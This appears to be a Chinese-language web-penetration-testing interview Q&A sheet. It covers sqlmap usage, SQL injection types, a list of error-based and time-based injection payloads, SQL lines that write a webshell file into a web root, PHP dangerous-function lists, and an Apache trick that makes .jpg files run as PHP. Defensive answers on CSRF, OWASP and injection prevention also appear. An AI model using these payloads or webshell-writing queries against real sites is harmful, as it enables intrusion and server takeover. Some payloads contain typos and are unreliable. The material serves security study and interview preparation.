一,sqlmap,怎么对一个注入点注入? 1)如果是get型号,直接,sqlmap -u "诸如点网址". 2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data="post的参数" 3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r "文件地址"
二,nmap,扫描的几种方式 三,sql注入的几种类型? 1)报错注入 2)bool型注入 3)延时注入 4)宽字节注入 四,报错注入的函数有哪些? 10个 1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】---------------- 2)通过floor报错 向下取整 3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1) 4).geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 5).multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6).polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7).multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8).linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9).multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10).exp()select * from test where id=1 and exp(~(select * from(select user())a));
五,延时注入如何来判断?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
六,盲注和延时注入的共同点?
都是一个字符一个字符的判断
七,如何拿一个网站的webshell?
上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等
八,sql注入写文件都有哪些函数?
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';
九,如何防止CSRF?
1,验证referer
2,验证token
详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd
十,owasp 漏洞都有哪些?
1、SQL注入防护方法:
2、失效的身份认证和会话管理
3、跨站脚本攻击XSS
4、直接引用不安全的对象
5、安全配置错误
6、敏感信息泄露
7、缺少功能级的访问控制
8、跨站请求伪造CSRF
9、使用含有已知漏洞的组件
10、未验证的重定向和转发
十一:SQL注入防护方法?
1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
3、使用白名单来规范化输入验证方法
4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
十二,代码执行,文件读取,命令执行的函数都有哪些?
1,代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
十三,img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
src指定一个远程的脚本文件,获取referer
十四,img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。
1,远程服务器修改apache配置文件,配置.jpg文件以php方式来解析
AddType application/x-httpd-php .jpg
会以php方式来解析